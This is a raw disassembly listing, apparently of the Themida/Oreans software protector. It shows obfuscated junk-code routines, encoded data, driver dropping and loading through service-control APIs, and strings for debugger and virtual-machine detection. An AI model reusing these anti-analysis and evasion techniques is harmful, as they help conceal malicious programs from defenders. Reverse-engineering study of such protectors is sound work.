mov si, bx
push eax
jle loc_5A6E67
mov edx, ecx
loc_5A6E67: ; CODE XREF: sub_5A6E5B+4j
mov eax, [esp+4]
mov eax, [eax]
call loc_5A6E77
; ---------------------------------------------------------------------------
dw 0AEDBh
db 40h, 0C8h, 0F1h
; ---------------------------------------------------------------------------
loc_5A6E77: ; CODE XREF: sub_5A6E5B+12j
push ecx
pop edx
pop edx
mov [esp+arg_0], eax
mov edi, esi
pop eax
push 0
push edx
call sub_5A6E8C
and [edx-3Dh], bl
sub_5A6E5B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5A6E8C proc near ; CODE XREF: sub_5A6E5B+29p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
loc_5A6E91: ; CODE XREF: Themida_:005A6E2Ej
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_5A6E8C endp
; ---------------------------------------------------------------------------
dd 29A8946Dh, 428C2A12h, 0FF3AB6DDh, 13116DB5h, 7DBD0306h
dd 8D061317h, 133AAD85h, 6E806h, 0BB590000h, 0C25BF3E5h
dd 0AE8h, 750B8D00h, 821620A8h, 8B011776h, 131C11B5h, 0FF5A5906h
dd 52006AD0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h
dd 0C3524200h, 0BE90451h, 6D000000h, 0DC73E612h, 0A0C7A35Ah
dd 8B665A01h, 0BFBF50CFh, 89573EDDh, 0BD092404h, 6132071h
dd 8529006Ah, 61321EDh, 0C21F7768h, 68D0FD1h, 0F000000h
dd 8Ch, 24048100h, 2E3DE109h, 306D9D89h, 36A0613h, 68B0Fh
dd 8D8B0000h, 61320CDh, 1E719D89h, 6A0613h, 118DBD33h
dd 10E90613h, 5E000000h, 55E2F277h, 0E260A34Dh, 5FF62C2Bh
dd 6A3A4924h, 6E803h, 47D40000h, 468172ADh, 3499BD09h
dd 685A0613h, 0AFBA6238h, 38E0F51h, 66000000h, 8159C88Bh
dd 62382434h, 0BF0F6FBAh, 0E39D8DFAh, 660615AAh, 0E09DE981h
dd 4890F50h, 66000000h, 890781BFh, 8166241Ch, 0FFD292C1h
dd 2B14BED0h, 0F404028h, 2BC85h, 19B58B00h, 58061331h
dd 96077B2h, 130A4195h, 0AE906h, 40760000h, 0C2A1AA40h
dd 0C15CDA2Eh, 810F5061h, 0Ch, 52505250h, 2 dup(585A310Fh)
dd 89240489h, 132369BDh, 29006A06h, 131B519Dh, 0E1136806h
dd 7E950FEh, 3B000000h, 15AA6C17h, 34812A5Ch, 0FEE19324h
dd 53006A50h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h
dd 0C3534300h, 8B66F660h, 29036AF9h, 13133195h, 6A006A06h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h
dd 45000000h, 1DA3C355h, 95D7B4BEh, 6A321588h, 0B5BD8B03h
dd 68061305h, 72DEB3EBh, 0AE8h, 51887100h, 99D13EF1h, 600482CCh
dd 7E8h, 5E826E00h, 1E57128h, 3ABB665Bh, 815E616Eh, 4C152404h
dd 8D8B4D21h, 6131D21h, 9D8DA9B6h, 615AAECh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 48C35141h, 8B17CF4Bh
dd 0EE8D3h, 0E90C0000h, 75A810F0h, 0A4A5EA37h, 3BA9904Eh
dd 13E9h, 3D36E000h, 0CCBE655Fh, 0BAB54AD9h, 5EA2C24Dh
dd 9ADFC48h, 0E950935Ah, 0Dh, 0A1C429D2h, 0E11D4C94h, 0ADFB3214h
dd 0B966935Eh, 0D0FF3E23h, 132D9D89h, 33600613h, 1330FDBDh
dd 0EE816006h, 399614A6h, 2EBD9589h, 61610613h, 42850F40h
dd 8B000001h, 1300C58Dh, 0D1BA5806h, 502809CBh, 0DE850h
dd 39AA0000h, 0B9E47D0Ah, 7A8B22Dh, 66F0F4D8h, 5F59CF8Bh
dd 6A240489h, 68F0F00h, 9000000h, 13129DBDh, 61716806h
dd 62B584B3h, 0F240481h, 667B4C9Fh, 0F78BD38Bh, 6A036Ah
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
dd 5AFD06C3h, 0A568B15Ah, 6A39DDBAh, 0AE900h, 0B2320000h
dd 0CCB86B47h, 8FF90F93h, 1AE78166h, 0BE036ABFh, 2C049053h
dd 63801368h, 28B0F42h, 8A000000h, 240481D7h, 7D9C7FEDh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 5BC35141h
dd 8D9EF48Eh, 15AAF79Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1704h, 0C3504000h, 7987210Bh, 0E8C18160h
dd 603AD378h, 958BE28Ah, 61334E9h, 8A506161h, 241C89F7h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0F7C35141h
dd 80C1CC46h, 969FA94Ch, 0FB8B6645h, 0FFF0BF0Fh, 699D01D0h
dd 40061330h, 0B850Fh, 81660000h, 58DC0DDEh, 1A2E9h, 6AD88B00h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h
dd 46000000h, 6370C356h, 0CA804F7Ch, 68F0FD4h, 8B000000h
dd 132FED95h, 0EE94B06h, 0A8000000h, 87324864h, 0CDBCEF0h
dd 0C3813913h, 6A5880h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 170424h, 57470000h, 0BEB1F8C3h, 0C6B5B1E0h, 1311E185h
dd 950B4306h, 6131729h, 4E8h, 764AA700h, 50F8B5C0h, 0F98B5250h
dd 5250310Fh, 310FD38Bh, 5AF88B66h, 8B585A58h, 50042444h
dd 5E505152h, 5A310F5Fh, 0E9008B58h, 7, 27121401h, 89289577h
dd 0E8042444h, 10h, 0E1D0856Dh, 0F835DAD1h, 0B08134C1h
dd 27DAFBD1h, 0CDBF585Ah, 0FF185E3Fh, 13116DB5h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
dd 8D29604Ch, 6130BADh, 6860Fh, 880F0000h, 0
dd 0AD858D61h, 0F806133Ah, 5693D0FFh, 0DC93D6B9h, 66505A41h
dd 0FC93CE8Bh, 10E8h, 0F8BCF600h, 0CC76F1Eh, 4D2748DFh
dd 0CFDD88EDh, 5AF98BE9h, 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1D0424h, 57470000h, 0BF48C7C3h, 0F5C531E0h
dd 0E9687013h, 5, 1F8F5A8h, 168D0F42h, 0E9000000h, 11h
dd 96191DB4h, 0A10E20Fh, 9DEADF9Eh, 0ED667270h, 339D8D33h
dd 60061375h, 0B7DE8166h, 1D9D092Fh, 6106130Bh, 1B8h, 39BD8900h
dd 0FF061301h, 8BFA8BE3h, 0C08BFCC1h, 2A3DB58Bh, 53600613h
dd 1ED18D29h, 8B590613h, 132149BDh, 0BD836106h, 6131625h
dd 83097500h, 132C81BDh, 19740006h, 0C08B5350h, 40FB8h
dd 15858900h, 8D061331h, 15A9E49Dh, 5BD3FF06h, 81BD8358h
dd 6132Ch, 53501774h, 40FB8h, 15858900h, 8D061331h, 15A6859Dh
dd 5BD3FF06h, 0A9852958h, 8B061321h, 9E8C0h, 8A9D0000h
dd 35C57108h, 8B5101D9h, 13124185h, 0BD8B5E06h, 6130959h
dd 59D3C681h, 8C0F0000h, 6, 283DBD8Bh, 39680613h, 0E9000016h
dd 0Ah, 61B3D25Ah, 0A3752C80h, 665B2388h, 0FF7C62BAh, 7FBF6636h
dd 9D895917h, 6130A51h, 0E8ECF181h, 0BD8B1E42h, 6130579h
dd 2B56E981h, 0E8602960h, 9, 82F747CEh, 30731A4Dh, 5E9E1h
dd 0B8F40000h, 5BBA858Fh, 0BE9h, 0BCBFB400h, 6E3DFF93h
dd 0A4A0849Bh, 5DC18161h, 5627E926h, 0B382DF81h, 895F2CABh
dd 0C6BF0F0Eh, 0EBFFEE81h, 9D29458Dh, 6130CFDh, 0EBFBC681h
dd 9D89458Dh, 6131E9Dh, 1EB81h, 850F0000h, 19h, 1A35B589h
dd 26E90613h, 85000000h, 0A880FDC4h, 0DEF8FC05h, 0E7183AD4h
dd 3D958BD3h, 0E906130Ch, 0FFFFFF5Bh, 7E5FF0FEh, 0FF01BFAFh
dd 3141FE5Bh, 99E974h, 622F0000h, 68636775h, 326B6365h
dd 75622F00h, 65686367h, 2F006B63h, 63726F66h, 6E757265h
dd 75622F00h, 65686367h, 75666B63h, 2F006C6Ch, 776F6873h
dd 65646F63h, 68732F00h, 6F63776Fh, 326564h, 726C632Fh
dd 642F0074h, 317369h, 6F68732Fh, 736E6977h, 636E6174h
dd 672F0065h, 6C777465h, 74617473h, 2F007375h, 73676F6Ch
dd 75746174h, 642F0073h, 73706D75h, 75746174h, 73h, 632F0000h
dd 6B636568h, 746F7270h, 69746365h, 6E6Fh, 83000000h, 15B34CBDh
dd 840F0006h, 0Ah, 2C8185C7h, 10613h, 85C60000h, 61311E1h
dd 4E847h, 6C8D0000h, 8B50906Dh, 8B042444h, 24448900h
dd 0B5FF5804h, 613116Dh, 3AAD858Dh, 0D0FF0613h, 0F88BD0FFh
dd 0F223F80h, 2285h, 22B04700h, 0F9850FAEh, 80FFFFFFh
dd 840F003Fh, 31Bh, 3F8047h, 311840Fh, 1EE90000h, 80000000h
dd 840F003Fh, 303h, 0F203F80h, 685h, 6E94700h, 47000000h
dd 0FFFFE2E9h, 3F80FFh, 5850Fh, 0E0E90000h, 0E9000002h
dd 1, 203F8047h, 0FFF6840Fh, 3F80FFFFh, 5850F00h, 0E9000000h
dd 2C3h, 0AE8h, 0FFCBE900h, 0B4E9FFFFh, 8D000002h, 15B2CCB5h
dd 225E806h, 0BD030000h, 615B361h, 0B361BD83h, 0F000615h
dd 0B84h, 2585C700h, 1061316h, 0C3000000h, 0B2D7B58Dh
dd 0FCE80615h, 3000001h, 15B361BDh, 61BD8306h, 615B3h
dd 0B840Fh, 85C70000h, 6132C81h, 1, 50B58DC3h, 0E80615B3h
dd 1D3h, 0B361BD03h, 0BD830615h, 615B361h, 0B840F00h, 0C7000000h
dd 130EFD85h, 106h, 0B58DC300h, 615B2E1h, 1AAE8h, 61BD0300h
dd 830615B3h, 15B361BDh, 840F0006h, 0Bh, 2C8185C7h, 10613h
dd 8DC30000h, 15B2EBB5h, 181E806h, 0BD030000h, 615B361h
dd 0B361BD83h, 0F000615h, 1584h, 8185C700h, 106132Ch, 0C7000000h
dd 13162585h, 106h, 0B58DC300h, 615B2F9h, 14EE8h, 61BD0300h
dd 830615B3h, 15B361BDh, 840F0006h, 0Ah, 234585C7h, 10613h
dd 0B58D0000h, 615B303h, 126E8h, 61BD0300h, 830615B3h
dd 15B361BDh, 840F0006h, 0Ah, 234585C7h, 10613h, 0B58D0000h
dd 615B30Eh, 0FEE8h, 61BD0300h, 830615B3h, 15B361BDh, 840F0006h
dd 0Ah, 8A585C7h, 10613h, 0B58D0000h, 615B314h, 0D6E8h
dd 61BD0300h, 830615B3h, 15B361BDh, 840F0006h, 0Ah, 23C585C7h
dd 10613h, 0B58D0000h, 615B31Ah, 0AEE8h, 61BD0300h, 830615B3h
dd 15B361BDh, 840F0006h, 0Ah, 34C985C7h, 10613h, 0B58D0000h
dd 615B328h, 86E8h, 61BD0300h, 830615B3h, 15B361BDh, 840F0006h
dd 0Ah, 0F6585C7h, 10613h, 0B58D0000h, 615B335h, 5EE8h
dd 61BD0300h, 830615B3h, 15B361BDh, 840F0006h, 0Ah, 34E585C7h
dd 10613h, 0B58D0000h, 615B340h, 36E8h, 61BD0300h, 830615B3h
dd 15B361BDh, 840F0006h, 0Ah, 195D85C7h, 10613h, 1E90000h
dd 47000000h, 0F203F80h, 984h, 3F8000h, 0FFED850Fh, 60C3FFFFh
dd 1B9h, 0E9DE8B00h, 1Ch, 0F003F80h, 585h, 0B900h, 178A0000h
dd 840F1638h, 2, 4746C92Bh, 0F003E80h, 884h, 0FC90B00h
dd 0FFFFD385h, 0FC90BFFh, 2184h, 3F8000h, 9840Fh, 3F800000h
dd 0A850F20h, 0B9000000h, 1, 5E9h, 0B900h, 0C90B0000h
dd 0D840Fh, 0F32B0000h, 0B361B589h, 0AE90615h, 0C7000000h
dd 15B36185h, 6, 0B8C36100h, 0
; ---------------------------------------------------------------------------
or eax, eax
jz loc_5A79C2
mov dword ptr [ebp+6132345h], 0
loc_5A79C2: ; CODE XREF: Themida_:005A79B2j
mov ecx, eax
jmp loc_5A7BD7
; ---------------------------------------------------------------------------
a3cannotWriteOr db '3Cannot write oreans.vxd',0Ah
db 0Dh,'Make sure that this file is not being used by another program.',0
align 4
dd 67h dup(0)
dd 724F5C00h, 736E6165h, 6478762Eh, 2 dup(0)
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_5A7BD7: ; CODE XREF: Themida_:005A79C4j
jmp loc_5A7CCB
; ---------------------------------------------------------------------------
mov byte ptr [ebp+61311E1h], 47h
push 0E3E45B86h
push dword ptr [ebp+613116Dh]
lea eax, [ebp+6133AADh]
call eax
push 104h
lea ebx, [ebp+613178Dh]
push ebx
call eax
push eax
lea esi, [ebp+615B8F7h]
mov edi, esi
xor al, al
loc_5A7C0F: ; CODE XREF: Themida_:005A7C10j
scasb
jnz loc_5A7C0F
sub edi, esi
mov ecx, edi
pop eax
mov edi, ebx
add edi, eax
rep movsb
mov byte ptr [ebp+61311E1h], 43h
push 0BC8E6EFCh
push dword ptr [ebp+613116Dh]
lea eax, [ebp+6133AADh]
call eax
lea esi, [ebp+613178Dh]
push 0
push 80h
push 2
push 0
push 0
push 0C0000000h
push esi
call eax
mov ebx, eax
mov byte ptr [ebp+61311E1h], 57h
push 0A69BEE56h
push dword ptr [ebp+613116Dh]
lea eax, [ebp+6133AADh]
call eax
lea edi, [ebp+6132B8Dh]
lea ecx, [ebp+615BA1Dh]
push 0
push edi
push 37D0h
push ecx
push ebx
call eax
test eax, eax
jnz loc_5A7CAD
lea esi, [ebp+615B6FFh]
lea eax, [ebp+615A34Dh]
call eax
lea ecx, [ebp+6137533h]
mov eax, 0
jmp ecx
; ---------------------------------------------------------------------------
loc_5A7CAD: ; CODE XREF: Themida_:005A7C8Cj
mov byte ptr [ebp+61311E1h], 43h
push 0C0764AA7h
push dword ptr [ebp+613116Dh]
lea eax, [ebp+6133AADh]
call eax
push ebx
call eax
retn
; ---------------------------------------------------------------------------
loc_5A7CCB: ; CODE XREF: Themida_:loc_5A7BD7j
mov ecx, 37D0h
call $+5
pop eax
add eax, 0Eh
mov [eax], ecx
jmp loc_5A7CE2
; ---------------------------------------------------------------------------
mov eax, ebx
loc_5A7CE2: ; CODE XREF: Themida_:005A7CDBj
jmp loc_5AB4B7
; ---------------------------------------------------------------------------
db 4Dh
dd 300905Ah, 4000000h, 0FF000000h, 0B80000FFh, 0
dd 40000000h, 8 dup(0)
dd 0B0000000h, 0E000000h, 0EBA1Fh, 21CD09B4h, 0CD4C01B8h
dd 69685421h, 72702073h, 6172676Fh, 6163206Dh, 746F6E6Eh
dd 20656220h, 206E7572h, 44206E69h, 6D20534Fh, 2E65646Fh
dd 240A0D0Dh, 0
dd 5D000000h, 19DB1D17h, 2 dup(19887376h), 0E5887376h
dd 18886156h, 19887376h, 18887376h, 52887376h, 19686369h
dd 887376h, 0
dd 4C000000h, 45h, 2000000h, 400h, 0
dd 14000380h, 5 dup(0)
dd 0C0000002h, 90000001h, 0
dd 7E000000h, 0
dd 0C4000000h, 1000000h, 0DC000000h, 3 dup(0)
dd 2C000000h, 38000001h, 1, 0
dd 42000000h, 96000001h, 0D2000001h, 1, 0D2000000h, 1
dd 0
dd 14000010h, 0C0000000h, 10000037h, 0Dh dup(0)
dd 0C0040000h, 27h, 45000000h, 1000020h, 14000000h, 4C000000h
dd 444F43h, 100h, 200h, 300h, 400h, 500h, 600h, 700h, 800h
dd 900h, 0A00h, 0B00h, 0C00h, 0D00h, 0E00h, 0F00h, 1000h
dd 1100h, 1200h, 1300h, 8001400h, 4F525058h, 44585654h
dd 1000000h, 3000103h, 2 dup(0)
dd 13h dup(700h), 3C00h, 18000700h, 27600100h, 1AD0007h
dd 7005001h, 1019100h, 27279Bh, 276F0106h, 17D0179h, 1850181h
dd 18D0189h, 1750007h, 7279501h, 1017100h, 72798h, 7101016Bh
dd 27h, 360h dup(0)
dd 1000004h, 58000000h, 544F5250h, 445856h, 800000h, 8 dup(0)
dd 76000000h, 50507265h, 31000000h, 32527376h, 33527376h
dd 527376h, 9C3h dup(0)
dd 83000000h, 0F8831BE8h, 0FF077309h, 8524h, 0C3F80000h
dd 5 dup(0)
db 2 dup(0)
word_5AB46E dw 0 ; CODE XREF: Themida_:005AB4C1j
dd 3 dup(0)
; ---------------------------------------------------------------------------
xor eax, eax
retn
; ---------------------------------------------------------------------------
xor eax, eax
retn
; ---------------------------------------------------------------------------
cmp dword ptr [esi+0Ch], 0
jnz short loc_5AB48C
xor eax, eax
jmp short locret_5AB4A6
; ---------------------------------------------------------------------------
loc_5AB48C: ; CODE XREF: Themida_:005AB486j
cmp dword ptr [esi+0Ch], 1
jnz short locret_5AB4A6
lea eax, large ds:0
mov edi, [esi+18h]
mov [edi], eax
mov dword ptr [esi+20h], 4
xor eax, eax
locret_5AB4A6: ; CODE XREF: Themida_:005AB48Aj
; Themida_:005AB490j
retn
; ---------------------------------------------------------------------------
db 0Ch
aXprotvxd_ddb db 'XPROTVXD_DDB',0
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5AB4B7: ; CODE XREF: Themida_:loc_5A7CE2j
call sub_5AB4CD
mov ecx, 4A3E2865h
jz short near ptr word_5AB46E
pop esp
pusha
and eax, 62EF1CF0h
loope near ptr loc_5AB53D+2
inc ecx
; =============== S U B R O U T I N E =======================================
sub_5AB4CD proc near ; CODE XREF: Themida_:loc_5AB4B7p
stc
pop eax
jl loc_5AB4E1
jnb loc_5AB4E1
mov edi, [ebp+6130061h]
loc_5AB4E1: ; CODE XREF: sub_5AB4CD+2j
; sub_5AB4CD+8j
add eax, 62EEh
mov bl, 0D2h
xor ecx, ecx
pusha
mov cl, 0DBh
jl loc_5AB4FA
mov ecx, [ebp+6130595h]
loc_5AB4FA: ; CODE XREF: sub_5AB4CD+21j
popa
loc_5AB4FB: ; CODE XREF: sub_5AB4CD+A5j
mov esi, [eax+ecx]
mov di, 49EBh
add esi, 2B14EC77h
adc di, 3725h
sub esi, 242DE4DAh
mov [ebp+61323FDh], esi
sub esi, 54161C9Bh
mov [ebp+61312BDh], ebx
mov [eax+ecx], esi
jmp loc_5AB537
; ---------------------------------------------------------------------------
db 7Ch, 89h, 0BBh
dd 9E6FFF35h
db 0EAh, 0D6h, 0C2h
; ---------------------------------------------------------------------------
loc_5AB537: ; CODE XREF: sub_5AB4CD+5Bj
add [ebp+6132A5Dh], eax
loc_5AB53D: ; CODE XREF: Themida_:005AB4CAj
sub ecx, 4
sub [ebp+61318D5h], edi
cmp ecx, 0FFFF9DDCh
jnz loc_5AB570
mov [ebp+6132D01h], edi
jmp loc_5AB58A
; ---------------------------------------------------------------------------
db 86h, 5Ch, 0CDh
dd 290DBA75h, 3BA72F4Dh, 9D4D570Ah, 9ED98809h
; ---------------------------------------------------------------------------
loc_5AB570: ; CODE XREF: sub_5AB4CD+7Fj
mov bl, 0E7h
jmp loc_5AB4FB
; ---------------------------------------------------------------------------
db 97h
dd 0C51B13C6h, 920EAF07h, 0BE05B278h, 0D1544DECh
db 0D7h, 0E8h
; ---------------------------------------------------------------------------
loc_5AB58A: ; CODE XREF: sub_5AB4CD+8Bj
jmp loc_5AC646
; ---------------------------------------------------------------------------
db 41h
dd 50415644h, 2E323349h, 4C4C44h, 6E65704Fh, 614D4353h
dd 6567616Eh, 43004172h, 74616572h, 72655365h, 65636976h
dd 74530041h, 53747261h, 69767265h, 416563h, 4E746547h
dd 76697461h, 73795365h, 496D6574h, 6F666Eh, 6E65704Fh
dd 76726553h, 41656369h, 6C654400h, 53657465h, 69767265h
dd 43006563h, 65736F6Ch, 76726553h, 48656369h, 6C646E61h
dd 6F430065h, 6F72746Eh, 7265536Ch, 65636976h, 8 dup(0)
dd 65726F00h, 33736E61h, 79732E32h, 73h, 0
dd 726F0000h, 736E6165h, 2E343678h, 737973h, 2 dup(0)
aOreans32 db 'oreans32',0
a_Oreans32 db '\\.\oreans32',0
a_GlobalOreans3 db '\\.\Global\oreans32',0
aOreansx64 db 'oreansx64',0
a_GlobalOreansx db '\\.\Global\oreansx64',0
align 10h
dd 41h dup(0)
dd 53595300h, 524D4554h, 544F4Fh, 735C7325h, 65747379h
dd 5C32336Dh, 76697264h, 5C737265h, 25007325h, 79735C73h
dd 776F7773h, 645C3436h, 65766972h, 255C7372h, 73250073h
dd 7379735Ch, 336D6574h, 72645C32h, 72657669h, 726F5C73h
dd 736E6165h, 732E3233h, 7379h, 48h dup(0)
dd 33000000h, 6E6E6143h, 5520746Fh, 74616470h, 726F2065h
dd 736E6165h, 7379732Eh, 69726420h, 2E726576h, 656C5020h
dd 2C657361h, 6B616D20h, 75732065h, 74206572h, 20746168h
dd 20756F79h, 65766168h, 64610D0Ah, 696E696Dh, 61727473h
dd 27726F74h, 65702073h, 74696D72h, 68742073h, 69662065h
dd 20747372h, 656D6974h, 61687420h, 6F792074h, 72612075h
dd 6F672065h, 20676E69h, 72206F74h, 74206E75h, 20736968h
dd 676F7270h, 2E6D6172h, 59h dup(0)
dd 33000000h, 6E6E6143h, 6F20746Fh, 206E6570h, 6165726Fh
dd 762E736Eh, 64206478h, 65766972h, 4D202E72h, 20656B61h
dd 65727573h, 61687420h, 726F2074h, 736E6165h, 6478762Eh
dd 73690D0Ah, 746F6E20h, 65706F20h, 7962206Eh, 6F6E6120h
dd 72656874h, 6F727020h, 6D617267h, 2Eh, 66h dup(0)
dd 33000000h, 75636553h, 6E456572h, 656E6967h, 69726420h
dd 20726576h, 6E6E6163h, 6220746Fh, 70752065h, 65746164h
dd 65622064h, 73756163h, 68742065h, 20657265h, 20657261h
dd 656D6F73h, 6F727020h, 6D617267h, 73752073h, 0A676E69h
dd 2E74690Dh, 756F5920h, 65656E20h, 6F742064h, 6F6C6320h
dd 74206573h, 65736F68h, 6F727020h, 6D617267h, 726F2073h
dd 73657220h, 74726174h, 756F7920h, 6F632072h, 7475706Dh
dd 0A2E7265h, 7365520Dh, 74726174h, 776F6E20h, 3Fh, 0D8h dup(0)
dd 5C000000h, 4F5C2E5Ch, 6E616572h, 78762E73h, 64h, 2 dup(0)
dd 4F5C7325h, 6E616572h, 78762E73h, 64h, 2 dup(0)
aXprotevent db 'XprotEvent',0
align 10h
dd 0Ah dup(0)
dd 53000000h, 75685365h, 776F6474h, 6972506Eh, 656C6976h
dd 6567h, 43000000h, 74616572h, 65764565h, 4120746Eh, 45204950h
dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
dd 6874206Eh, 72642065h, 72657669h, 74654700h, 69766E45h
dd 6D6E6F72h, 56746E65h, 61697261h, 20656C62h, 20495041h
dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 43536E65h
dd 616E614Dh, 20726567h, 20495041h, 6F727245h, 68772072h
dd 20656C69h, 72747865h, 69746361h, 74206E6Fh, 64206568h
dd 65766972h, 72430072h, 65746165h, 76726553h, 20656369h
dd 20495041h, 6F727245h, 68772072h, 20656C69h, 72747865h
dd 69746361h, 74206E6Fh, 64206568h, 65766972h, 6C430072h
dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 49504120h
dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
dd 206E6F69h, 20656874h, 76697264h, 4F007265h, 536E6570h
dd 69767265h, 41206563h, 45204950h, 726F7272h, 69687720h
dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
dd 72657669h, 61745300h, 65537472h, 63697672h, 50412065h
dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
dd 6E6F6974h, 65687420h, 69726420h, 726576h, 43495041h
dd 72726520h, 203A726Fh, 6E6E6143h, 6620746Fh, 20646E69h
dd 636F7250h, 6F737365h, 43207372h, 72746E6Fh, 42206C6Fh
dd 6B636F6Ch, 50202E73h, 7361656Ch, 0D0A2C65h, 746E6F63h
dd 20746361h, 6F666E69h, 65726F40h, 2E736E61h, 206D6F63h
dd 20726F66h, 73696874h, 72726520h, 726Fh, 4000000h, 33000001h
dd 72726F53h, 74202C79h, 20736968h, 6C707061h, 74616369h
dd 206E6F69h, 6E6E6163h, 7220746Fh, 75206E75h, 7265646Eh
dd 56206120h, 75747269h, 4D206C61h, 69686361h, 656Eh, 70h dup(0)
dd 10h, 0FF000100h, 17FFEFFh, 1000000h, 4A000000h, 2, 0F000100h
dd 40800h, 94h, 5, 1, 0A28h, 2, 76726553h, 20656369h, 6B636150h
dd 3220h, 1Dh dup(0)
dd 74666F53h, 65726177h, 6E69575Ch
db 65h, 0
; ---------------------------------------------------------------------------
loc_5AC646: ; CODE XREF: sub_5AB4CD:loc_5AB58Aj
mov eax, esp
mov dh, 4Ah
mov [ebp+6130E81h], eax
mov di, 0BF07h
mov eax, eax
jmp loc_5AC66D
; ---------------------------------------------------------------------------
db 99h
dd 0F7161FC0h, 0FE2BC48Bh, 3CC1B091h, 9CCD2D42h
; ---------------------------------------------------------------------------
inc ebp
loc_5AC66D: ; CODE XREF: sub_5AB4CD+1189j
cmp dword ptr [ebp+6131625h], 0
jnz short loc_5AC67F
cmp dword ptr [ebp+6132C81h], 0
jz short loc_5AC698
loc_5AC67F: ; CODE XREF: sub_5AB4CD+11A7j
push eax
push ebx
mov eax, eax
mov eax, 43Dh
mov [ebp+6130D7Dh], eax
lea ebx, [ebp+615A97Dh]
call ebx ; _iob
pop ebx
pop eax
loc_5AC698: ; CODE XREF: sub_5AB4CD+11B0j
cmp dword ptr [ebp+6132C81h], 0
jz short loc_5AC6B8
push eax
push ebx
mov eax, 43Dh
mov [ebp+6130D7Dh], eax
lea ebx, [ebp+615A66Ch]
call ebx ; _iob
pop ebx
pop eax
loc_5AC6B8: ; CODE XREF: sub_5AB4CD+11D2j
jle loc_5AC6C1
sbb dl, 23h
loc_5AC6C1: ; CODE XREF: sub_5AB4CD:loc_5AC6B8j
push 0
push ecx
call sub_5AC6CC
and [ecx-3Dh], bl
sub_5AB4CD endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5AC6CC proc near ; CODE XREF: sub_5AB4CD+11F7p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ch
inc ecx
push ecx
retn
sub_5AC6CC endp
; ---------------------------------------------------------------------------
dd 97E30338h, 4E0CC895h, 19852988h, 8B06130Bh, 198589C0h
dd 8106130Eh, 0CE6A3DEAh, 0E9C08B74h, 6, 0BF9B9739h, 0BD839B5Dh
dd 6131625h, 83097500h, 132C81BDh, 13740006h, 0C08B5350h
dd 0B8h, 1F9D8D00h, 0FF0615A8h, 83585BD3h, 132C81BDh, 11740006h
dd 0B85350h, 8D000000h, 15A6D09Dh, 5BD3FF06h, 52006A58h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
dd 0D828BFC0h, 97B1F82Fh, 0EE960h, 70790000h, 0CDD7DCDEh
dd 0C45ADF4Eh, 0D4CE7398h, 19F18589h, 8B610613h, 7E9C0h
dd 0FC540000h, 0A0A2A439h, 0E9C08B52h, 6, 966C438Ch, 8B669A44h
dd 25BD83F8h, 61316h, 0BD830975h, 6132C81h, 50137400h
dd 0B8C08B53h, 0
; ---------------------------------------------------------------------------
lea ebx, [ebp+615A751h]
call ebx ; _iob
pop ebx
pop eax
cmp dword ptr [ebp+6132C81h], 0
jz short loc_5AC7E0
push eax
push ebx
mov eax, 0
lea ebx, [ebp+615A69Eh]
call ebx ; _iob
pop ebx
pop eax
loc_5AC7E0: ; CODE XREF: Themida_:005AC7CDj
mov dx, 7894h
mov edx, 6D7D7E4Eh
or cx, 6C0Dh
mov eax, eax
mov edx, ebx
mov eax, eax
jmp loc_5AC809
; ---------------------------------------------------------------------------
pop edi
adc eax, [edx]
and dword ptr [edx+583B8D55h], 0FFFFFF99h
cmc
mov edi, 0DBEB437h
loc_5AC809: ; CODE XREF: Themida_:005AC7F4j
mov edi, [ebp+6130F01h]
cmp dword ptr [ebp+6131625h], 0
jnz short loc_5AC821
cmp dword ptr [ebp+6132C81h], 0
jz short loc_5AC834
loc_5AC821: ; CODE XREF: Themida_:005AC816j
push eax
push ebx
mov eax, eax ; CODE XREF: Themida_:005AC896j
mov eax, 0
lea ebx, [ebp+615A7B8h]
call ebx ; _iob
pop ebx
pop eax
loc_5AC834: ; CODE XREF: Themida_:005AC81Fj
cmp dword ptr [ebp+6132C81h], 0
jz short loc_5AC84E
push eax
push ebx
mov eax, 0
lea ebx, [ebp+615A6B7h]
call ebx ; _iob
pop ebx
pop eax
loc_5AC84E: ; CODE XREF: Themida_:005AC83Bj
mov dx, 3692h
or edx, 38519D3Eh
mov eax, eax
stc
mov eax, eax
xor cx, 93D8h
cmp dword ptr [ebp+6131625h], 0
jnz short loc_5AC874
cmp dword ptr [ebp+6132C81h], 0
jz short loc_5AC887
loc_5AC874: ; CODE XREF: Themida_:005AC869j
push eax
push ebx
mov eax, eax
mov eax, 0
lea ebx, [ebp+615A6EAh]
call ebx ; _iob
pop ebx
pop eax
loc_5AC887: ; CODE XREF: Themida_:005AC872j
call near ptr loc_5AC88E+5
repne pop ds
loc_5AC88E: ; CODE XREF: Themida_:loc_5AC887p
sub [eax-7EBC3B9Dh], bh
fldenv byte ptr [edx]
jecxz short near ptr loc_5AC823+1
db 3Eh
pop edi
